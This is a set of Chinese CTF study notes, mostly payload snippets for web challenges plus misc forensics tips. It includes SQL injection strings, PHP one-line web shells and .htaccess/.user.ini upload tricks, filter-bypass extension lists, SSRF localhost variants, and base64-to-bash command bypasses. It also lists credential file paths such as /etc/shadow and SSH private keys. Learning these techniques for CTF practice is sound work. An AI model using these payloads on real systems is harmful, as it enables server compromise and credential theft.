SQL
【精选】攻防世界之supersqli_攻防世界supersqli_金 帛的博客-CSDN博客
show
show databases
show tables
当纯数字字符串是表名的时候需要加反引号:
show columns from `1919810931114514`
反引号表示内容为表明
handler
【MySQL】MySQL 之 handler 的详细使用及说明_mysql handler-CSDN博客
1、打开句柄
handler handler_table open;#这里可以使用别名
2、查看数据
handler handler_table read first;
handler handler_table read next;
payload:
1';use supersqli;handler `1919810931114514` open as p;handler p read first;
预编译绕过法
什么是MySQL的预编译?_mysql 预编译-CSDN博客
-1';
set @sql = CONCAT('sele','ct flag from `1919810931114514`;');
#@表示变量
prepare stmt from @sql;
EXECUTE stmt;#
感觉像是set设置变量值然后在语句中替换,使用concat绕过关键字过滤
修改原查询法
如果没有过滤alter,把默认展示的字段名字修改,把想看的字段名字、表明等修改为默认展示的名字
将放着flag的表1919810931114514名字改成words
alter table 1919810931114514
rename to words
表里头字段名flag改成id
alter table words change flag id varchar(100)
ALTER TABLE words
表示您要修改的表是名为words
的表。CHANGE flag id varchar(100)
是实际的修改部分。它的含义是:
CHANGE
表示您要更改一个列的属性。flag
是要更改的列的当前名称。id
是要将该列更改为的新名称。varchar(100)
是新的数据类型,将该列更改为 VARCHAR 类型,最大长度为 100 个字符。
过滤
- strstr函数不区分大小写,所以我们可以改一下大小写来绕过strstr函数
- 过滤了union select,我们用union all select 就可以绕过
子查询
sql中的无关子查询与相关子查询和集合查询详细举例说明_无关子查询和相关子查询_ctf^_^的博客-CSDN博客
相当于临时新建了一个a表,username字段放入admin,password字段放入123,用来绕过其后的验证:
query ("select username,password from ".$this->table." where username='".$this->username."' and password='".$this->password."'");
这里实际相当于注入了一个表
非预期-load_file
?no=-1 union/**/select 1,load_file("/var/www/html/flag.php"),3,4--+
如果猜到路径,直接load_file读取
FileUpload
【精选】攻防世界easyupload (web新手)_sean7777777的博客-CSDN博客
XCTF bug - l2sec - 博客园 (cnblogs.com)
payload
<?php eval($_POST['cmd']);?>
<?= eval($_POST[1]);?>
<script language="php">eval($_POST[1]);</script>
<script language="php"> highlight_file(__FILE__);system($_GET['cmd']);<script>
.htaccess
<FilesMatch "shell" >
SetHandler application/x-httpd-php
</FilesMatch>
将当前目录下文件名为shell的文件当成php来解析
AddType application/x-httpd-php .mochu
将别的后缀名文件内容解析为php程序
.user.ini文件
具体参考.user.ini文件构成的PHP后门 - phith0n (wooyun.js.org)
在 .user.ini
风格的 INI 文件中只有具有 PHP_INI_PERDIR 和 PHP_INI_USER 模式的 INI 设置可被识别。
而且,和php.ini
不同的是,.user.ini
是一个能被动态加载的ini文件。也就是说我修改了.user.ini
后,不需要重启服务器中间件,只需要等待user_ini.cache_ttl
所设置的时间(默认为300秒),即可被重新加载。
在哪些情况下可以用到这个姿势? 比如,某网站限制不允许上传.php文件,你便可以上传一个.user.ini,再上传一个图片马,包含起来进行getshell。不过前提是含有.user.ini的文件夹下需要有正常的php文件,否则也不能包含了。 再比如,你只是想隐藏个后门,这个方式是最方便的。
.user.ini
auto_prepend_file=shell.jpg
shell.jpg
GIF89a
<?php eval($_P0ST['a']); ?>
后缀
利用了一个Linux的目录结构特性 , 请看下面代码:
这里访问 ./1.php/2.php/..
代表访问 2.php
的父目录 , 也就是访问 1.php
。
因此这里构造数据包时 , 可以构造如下POST数据
con=<?php @eval($_POST[cmd]);?>&file=test.php/1.php/..
后缀名
php
php2
php3
php4
php5
pHp
pHp2
pHp3
pHp4
pHp5
html
htm
phtml
pht
Html
Htm
pHtml
asp
aspx
asa
asax
ashx
asmx
cer
aSp
aSpx
aSa
aSax
aScx
aShx
aSmx
cEr
jsp
jspa
jspx
jsw
jxv
jspf
jtml
JSp
jSpx
jSpa
jSw
jSv
jSpf
jHtml
asp/test.jpg
asp;.jpg
cer/test.jpg
cer;.jpg
asa/test.jpg
asa;.jpg
aSp/test.jpg
aSp;.jpg
cEr/test.jpg
cEr;.jpg
aSa/test.jpg
aSa;.jpg
jpg/xx.php
jpg/xx.pHp
jpg/.php
jpg/.pHp
php.xs.aa
php2.aa
php3.aa
php4.aa
php5.aa
pHp.aa
pHp2.aa
pHp3.aa
pHp4.aaa
pHp5.aa
html.aa
htm.aa
phtml.aa
pht.aaa
Html.aaa
Htm.aa
pHtml.aa
php::$DATA
访问写入fputs
from:攻防世界-web-wzsc :文件上传、条件竞争
<?php fputs(fopen("shell.php", "w"), '<?php @eval($_POST["shell"]); ?>'); ?>
php相关
RCE-变量动态调用函数
[buuctf-CISCN 2019 初赛]Love Math(小宇特详解)_小宇特详解的博客-CSDN博客
php中可以把函数名通过字符串的方式传递给一个变量,然后通过此变量动态调用函数比如下面的代码会执行 system(‘cat/flag’);
$a='system';
$a('cat/flag');
payload:
?c=($_GET[a])($_GET[b])&a=system&b=cat /flag
hex2bin() 函数
hex2bin() 函数把十六进制值的字符串转换为 ASCII 字符。
ASCII字符串到16进制在线转换工具 - Coding.Tools
base_convert()函数
base_convert()函数能够在任意进制之间转换数字
hex2bin可以看做是36进制,用base_convert来转换将在10进制的数字转换为16进制就可以出现hex2bin
hex2bin=base_convert(37907361743,10,36)
dechex()函数
dechex()函数将10进制数转换为16进制的数
十六进制转十进制| 16进制转10进制 | 在线进制转换工具 (sojson.com)
RCE-preg_replace
php代码审计之preg_replace函数_php preg_replace-CSDN博客
1./e修饰符必不可少
2.你必须让 subject 中有 pattern 的匹配。
3.可能跟php版本有关系,受用条件也只限于5.5到5.6的php版本
4.满足可变变量的条件
payload:
\S*=${cmd}
直接传参\S*=${@eval($_POST[‘cmd’])} 就可以蚁剑连接了
路径遍历
?/../flag = /../flag 这里的问号不会影响
反序列化 POP chains
【精选】php反序列化—POP 链的构造利用_反序列化pop链-CSDN博客
popen(string $command, string $mode): resource|false
返回一个和 fopen() 所返回的相同的文件指针,只不过它是单向的(只能用于读或写)并且必须用 pclose() 来关闭。此指针可以用于 fgets(),fgetss() 和 fwrite()。 当模式为 ‘r’,返回的文件指针等于命令的 STDOUT,当模式为 ‘w’,返回的文件指针等于命令的 STDIN。
<?php
$handle = popen("/bin/ls", "r");
?>
PHP执行系统外部命令函数:exec()、passthru()、system()、shell_exec() - gaohj - 博客园 (cnblogs.com)
function passthru(string $command,int[optional] $return_value)
passthru直接将结果输出到浏览器,不需要使用 echo 或 return 来查看结果,不返回任何值,且其可以输出二进制,比如图像数据。
<?php
passthru("ls");
?>
绕过wakeup
PHP反序列化中wakeup()绕过总结 – fushulingのblog
可以利用cve-2016-7124进行绕过,将payload里ctf后面那个1改为2就行了,因为真实的属性其实只有一个,那就是那个flag,改为2之后对象属性个数的值就大于真实的属性个数了,因此可以绕过wakeup(),
非public属性
[BUUCTF 极客大挑战 2019]PHP 1_buuojphp1-CSDN博客
区别只在于对变量名添加了标记:
public无标记,变量名不变,长度不变: s:2:"op";i:2;
protected在变量名前添加标记%00*%00,长度+3: s:5:"%00*%00op";i:2;
private在变量名前添加标记%00(classname)%00,长度+2+类名长度: s:17:"%00FileHandler_Z%00op";i:2;
O:6:”class1”:3:{s:1:”a”;s:1:”1”;s:4:”b”;s:5:”ThisB”;s:9:”class1c”;s:5:”ThisC”;}
对象序列化后的结构为:
O:对象名的长度:”对象名”:对象属性个数:{s:属性名的长度:”属性名”;s:属性值的长度:”属性值”;}a是public类型的变量,s表示字符串,1表示变量名的长度,a是变量名。b是protected类型的变量,它的变量名长度为4,也就是b前添加了%00%00。所以,protected属性的表示方式是在变量名前加上%00*%00。c是private类型的变量,c的变量名前添加了%00类名%00。所以,private属性的表示方式是在变量名前加上%00类名%00。虽然Test类中有test1方法,但是,序列化得到的字符串中,只保存了公有变量a,保护变量b和私有变量c,并没保存类中的方法。也可以看出,序列化不保存方法。
MD5
这里提供一些md5以后是0e开头的值:
QNKCDZO
0e830400451993494058024219903391
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s1885207154a
0e509367213418206700842008763514
s1502113478a
0e861580163291561247404381396064
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s155964671a
0e342768416822451524974117254469
s1184209335a
0e072485820392773389523109082030
s1665632922a
0e731198061491163073197128363787
s1502113478a
0e861580163291561247404381396064
s1836677006a
0e481036490867661113260034900752
s1091221200a
0e940624217856561557816327384675
s155964671a
0e342768416822451524974117254469
s1502113478a
0e861580163291561247404381396064
s155964671a
0e342768416822451524974117254469
s1665632922a
0e731198061491163073197128363787
s155964671a
0e342768416822451524974117254469
s1091221200a
0e940624217856561557816327384675
s1836677006a
0e481036490867661113260034900752
s1885207154a
0e509367213418206700842008763514
s532378020a
0e220463095855511507588041205815
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s214587387a
0e848240448830537924465865611904
s1502113478a
0e861580163291561247404381396064
s1091221200a
0e940624217856561557816327384675
s1665632922a
0e731198061491163073197128363787
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s1665632922a
0e731198061491163073197128363787
s878926199a
0e545993274517709034328855841020
强碰撞:
%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
sql:
md5()函数会将我们输入的值,加密,然后转换成16字符的二进制格式,由于ffifdyop被md5加密后的276f722736c95d99e921722cf9ed621c转换成16位原始二进制格式为’or’6\xc9]\x99\xe9!r,\xf9\xedb\x1c,这个字符串前几位刚好是’ or ‘6
==:
?a=QNKCDZO&b=s878926199a
===:
如果传参不是字符串,而是数组,md5()函数无法解出数值,就会得到===强比较的值相等
payload:param1[]=param2[]=2
内容读取
file_get_content()可以读取php://filter伪协议。
file_get_contents、highlight_file() ,show_source()
readfile(/tmp/flagoefiu4r93)
scandir可以扫描目录(需要打印)
弱比较 ==
使用==比较时,true是可以和任何类型的字符串或数字相等,返回true,当然0和false和null除外(true==0或true==false或true==null)
python相关
SSTI
查看config:
可以获取当前设置,如果题目是这样的:app.config [‘FLAG’] = os.environ.pop(’FLAG’)
可以直接访问 或者 得到 flag。
同样可以找到 config。
{{self.__dict__._TemplateReference__context.config}}
eval()
https://blog.csdn.net/giaogiao123/article/details/119513378?spm=1001.2014.3001.5501
我们平常的认知都是去写入一句话木马到一个php文件或者是jsp文件,然后连接那个文件的目录,实际上,不需要写入文件,我们照样可以利用eval函数造成一句话的形成最后拿下网站webshell
<?php
if(isset($_GET['c'])){
$c = $_GET['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
?>
eval()函数在执行时其中有多个函数,则第一个必须执行正确,第一个以后也必须是函数,但是正确与否都可以执行。
eval('phpinfo();phpinfo();fdsfsdfds'.'asdasdsa();');//成功执行
eval('asdasdsa();phpinfo();fdsfsdfds'.'asdasdsa();');//执行失败
http://localhost/12.php?c=@eval($_POST[cmd]); 不行
http://localhost/12.php?c=echo 1;@eval($_POST[cmd]); 行
再第二种情况下,我们可以使用蚁剑连接
MISC
参考步骤
图片
- 查看通道二维码
- 查看内嵌文件 stegseek、zsteg 分离 binwalk
未知文件
winhex 看文件头修改后缀
core:string |grep
pdf:文件分离等 foremost
流量分析
直接find
提取文件 foremost -t all -i
过滤本网络查看异常
流量分析
如果flag存在于流量中,那么把包传入winhex,直接搜索flag等关键字
http contains “shell”
一些思路
ip.addr = 192.168.1.0/24过滤内网ip
192.168.1.111大量访问外网,猜测是192.168.1.108做反向代理攻击过滤192.168.1.108追踪tcp流得到filag
strings webshell.pcapng | grep "{"
xctf攻防世界 MISC高手进阶区 low_攻防世界low-CSDN博客
用画图工具打开bmp图片,其次将其另存为png格式。接着使用stegsolve打开图片
pyc
假设,有一个名为 lxk.py 的源文件:
print(“Hello Python!”)
要编译为 *.pyc 文件,需要引入 Python 中的模块 py_compile,在交互模式下输入:
>>> import py_compile
>>> py_compile.compile("lxk.py")
方式二:
命令行下:python -m py_compile test.p
反编译
首先安装库 uncompyle: pip install uncompyle
命令行下:uncompyle6 test.pyc > test1.py
formost 分离文件
c:> foremost [-v|-V|-h|-T|-Q|-q|-a|-w-d] [-t
[-b
-V - 显示版权信息并退出
-t - 指定文件类型. (-t jpeg,pdf …)
-d - 打开间接块检测 (针对UNIX文件系统)
-i - 指定输入文件 (默认为标准输入)
-a - 写入所有的文件头部, 不执行错误检测(损坏文件)
-w - 向磁盘写入审计文件,不写入任何检测到的文件
-o - 设置输出目录 (默认为./output)
-c - 设置配置文件 (默认为foremost.conf)
-q - 启用快速模式. 在512字节边界执行搜索.
-Q - 启用安静模式. 禁用输出消息.
-v - 详细模式. 向屏幕上记录所有消息。
foremost -i 分离隐藏文件
foremost -t 需要恢复文件类型后缀(如jpg) -i 扫描的分区 -o 指定存放文件的目录
foremost -t all -i f9809647382a42e5bfb64d7d447b4099.pcap
这个例子中,命令
foremost -t all -i f9809647382a42e5bfb64d7d447b4099.pcap
将尝试从名为f9809647382a42e5bfb64d7d447b4099.pcap
的 PCAP 文件中找回所有可能的文件类型。这些文件将会被提取并保存到指定的输出目录中。
zsteg:
zsteg stego100.png
binwalk 检索隐写
binwalk xxx
常见文件头:
JPEG (jpg),文件头:FF D8 FF
PNG (png),文件头:89 50 4E 47 【参考:png文件头详解】89 50 4e 47 0d 0a 1a 0a
GIF (gif),文件头:47 49 46 38
Windows Bitmap (bmp),文件头:42 4D [参考:bmp文件格式详解]42 4D 36 0C 30 00 00 00 00 00 36 00 00 00 28 00 00 00 56 05 00 00 00 03 00 00 01 00 18 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00python反编译文件pyc的头:03 F3 0D 0A
(实验吧,py的交易会用到)pyd的文件头:4D 5A 90 00
ZIP Archive (zip),文件头:50 4B 03 04 ascii码部分是PK,可以直接根据PK判断是zip文件,也有可能是doc文件
rar文件: 52 61 72 217z文件头:37 7A BC AF 27 1C(实验吧,有趣的文件用到了)
MS Word/Excel (xls.or.doc),文件头:D0CF11E0
CAD (dwg),文件头:41433130
Adobe Photoshop (psd),文件头:38425053
Rich Text Format (rtf),文件头:7B5C727466
XML (xml),文件头:3C3F786D6C
HTML (html),文件头:68746D6C3E
Email [thorough only] (eml),文件头:44656C69766572792D646174653A
Outlook Express (dbx),文件头:CFAD12FEC5FD746F
Outlook (pst),文件头:2142444E
MS Access (mdb),文件头:5374616E64617264204A
WordPerfect (wpd),文件头:FF575043
Postscript (eps.or.ps),文件头:252150532D41646F6265
Adobe Acrobat (pdf),文件头:255044462D312E
Quicken (qdf),文件头:AC9EBD8F
Windows Password (pwl),文件头:E3828596
RAR Archive (rar),文件头:52617221
Wave (wav),文件头:57415645
AVI (avi),文件头:41564920
Real Audio (ram),文件头:2E7261FD
Real Media (rm),文件头:2E524D46
MPEG (mpg),文件头:000001BA
MPEG (mpg),文件头:000001B3
Quicktime (mov),文件头:6D6F6F76
Windows Media (asf),文件头:3026B2758E66CF11
MIDI (mid),文件头:4D546864
Core文件简介
Core文件其实就是内存的映像,当程序崩溃时,存储内存的相应信息,主用用于对程序进行调试。当程序崩溃时便会产生core文件,其实准确的应该说是core dump 文件,默认生成位置与可执行程序位于同一目录下,文件名为core.,其中是某一数字。
我们可以使用strings命令查看字符串内容
strings命令打印文件中可打印的字符
分解合并图片
【愚公系列】2021年11月 攻防世界-进阶题-MISC-019(glance-50)-腾讯云开发者社区-腾讯云 (tencent.com)
kali 的 convert 命令可以分解图片:
convert glance.gif flag.png
montage合并图片
montage flag*.png -tile x1 -geometry +0+0 flag.png
montage
- 把当前目录下的所有.png格式的图片拼起来
montage.exe *.png -geometry +0+0 -background #00000000 big.png
- 把当前目录和所有子目录下的.png格式的图片拼起来
dir /b /s *.png > filelist.txt
montage.exe @filelist.txt -geometry +0+0 -background #00000000 big.png拼图时会自动调整行列上的图片数,如果需要指定,加上参数-tile,例:
dir /b /s *.png > filelist.txt
montage.exe @filelist.txt -geometry +0+0 -tile 2x4 -background #00000000 big.png
攻防世界-Misc-glance-50(convert分离gif、montage图片拼接)-mma-ctf-2nd-2016-CSDN博客
convert glance.gif flag.png
montage flag*.png -tile x1 -geometry +0+0 flag.png
-tile是拼接时每行和每列的图片数,这里用x1,就是只一行
-geometry是首选每个图和边框尺寸,我们边框为0,图照原始尺寸即可
gaps
–image 指向拼图的路径
–size 拼图块的像素尺寸
–generations 遗传算法的代的数量
–population 个体数量
–verbose 每一代训练结束后展示最佳结果
–save 将拼图还原为图像
gaps --image=test.png --generation=30 --population=300 --size=120
size比较重要,这里影响着图片数量,图片数量要和本来的图片数相等
Creating puzzles from images
To create puzzle from image use
gaps create
gaps create images/pillars.jpg puzzle.jpg --size=64
will create puzzle with 240 pieces from
images/pillars.jpg
where each piece is 64x64 pixels.Run
gaps create --help
for detailed help.注:根据给定的拼图大小,创建的拼图图像尺寸可能小于原始图像。从原始图像中裁剪出最大可能的矩形。
Solving puzzles
In order to solve puzzles, use
gaps run
:gaps run puzzle.jpg solution.jpg --generations=20 --population=600
This will start genetic algorithm with initial population of 600 and 20 generations.
Following options are provided:
Option Description --size
拼图大小(像素) --generations
遗传算法的代数 --population
Number of individuals in population --debug
Show the best solution after each generation Run
gaps run --help
for detailed help.
Size detection
If you don’t explicitly provide
--size
argument togaps run
, piece size will be detected automatically.However, you can always provide
gaps run
with--size
argument explicitly:gaps run puzzle.jpg solution.jpg --generations=20 --population=600 --size=48
压缩包
有时候不同压缩工具解压的结果有差异,需要都试试
文件包含
伪协议:
php://input伪协议以POST传参
data://text/plain,welcome to the zjctf
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
php://filter/read=convert.base64-encode/resource=useless.php
php://filter/convert.iconv.UTF-7.UCS-4*/resource=xxx.php
iconv:
UCS-4*
UCS-4BE
UCS-4LE*
UCS-2
UCS-2BE
UCS-2LE
UTF-32*
UTF-32BE*
UTF-32LE*
UTF-16*
UTF-16BE*
UTF-16LE*
UTF-7
UTF7-IMAP
UTF-8*
ASCII*
windows常见的敏感文件路径:
C:\boot.ini //查看系统版本
C:\Windows\System32\inetsrv\MetaBase.xml //IIS配置文件
C:\Windows\repair\sam //存储系统初次安装的密码
C:\Program Files\mysql\my.ini //Mysql配置
C:\Program Files\mysql\data\mysql\user.MYD //Mysql root
C:\Windows\php.ini //php配置信息
C:\Windows\my.ini //Mysql配置信息
C:\Windows\win.ini //Windows系统的一个基本系统配置文件
Linux常见的敏感文件路径:
/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.ssh/id_ras.keystore
/root/.ssh/known_hosts //记录每个访问计算机用户的公钥
/etc/passwd
/etc/shadow
/etc/my.cnf //mysql配置文件
/etc/httpd/conf/httpd.conf //apache配置文件
/root/.bash_history //用户历史命令记录文件
/root/.mysql_history //mysql历史命令记录文件
/proc/mounts //记录系统挂载设备
/porc/config.gz //内核配置文件
/var/lib/mlocate/mlocate.db //全文件路径
/porc/self/cmdline //当前进程的cmdline参数
- /etc/passwd
- /proc/self/cmdline,用于获取当前启动进程的完整命令。
- /proc/self/maps获取堆栈分布
- /proc/self/mem得到进程的内存内容
RCE
cat fl* 用匹配任意
cat fla 用*匹配任意
ca\t fla\g.php 反斜线绕过
cat fl''ag.php 两个单引号绕过
echo "Y2F0IGZsYWcucGhw" | base64 -d | bash
//base64编码绕过(引号可以去掉) |(管道符) 会把前一个命令的输出作为后一个命令的参数
echo "63617420666c61672e706870" | xxd -r -p | bash
//hex编码绕过(引号可以去掉)
echo "63617420666c61672e706870" | xxd -r -p | sh
//sh的效果和bash一样
cat fl[a]g.php 用[]匹配
a=fl;b=ag;cat $a$b 变量替换
cp fla{g.php,G} 把flag.php复制为flaG
ca${21}t a.txt 利用空变量 使用$*和$@,$x(x 代表 1-9),${x}(x>=10)(小于 10 也是可以的) 因为在没有传参的情况下,上面的特殊变量都是为空的
源码备份
常见的网站源码备份文件后缀:
tar.gz,zip,rar,tar
常见的网站源码备份文件名:
web,website,backup,back,www,wwwroot,temp
SSRF
127.0.0.1被禁止访问,则可以尝试各种变形
?url=http://@127.0.0.1:8000@/api/internal/secret
?url=http://2130706433:8000/api/internal/secret
?url=http://0x7f.0x0.0x0.0x1:8000/api/internal/secret
?url=http://[::127.0.0.1]:8000/api/internal/secret
?url=http://127。0。0。1:8000/api/internal/secret
?url=http://127.1:8000/api/internal/secret
?url=http://0.0.0.0:8000/api/internal/secret
?url=http://127.127.127.127:8000/api/internal/secret
127.0.0.1=0.0.0.0=127.127.127.127
工具
cyberchef:
affine:仿射密码
bacon:培根密码
Mysql
查看路径:
select @@secure_file_priv;
uname=test' or if(ascii(substr((select f1144g from f14141g limit 0,1),1,1))=45,sleep(3),1)#&pword=1234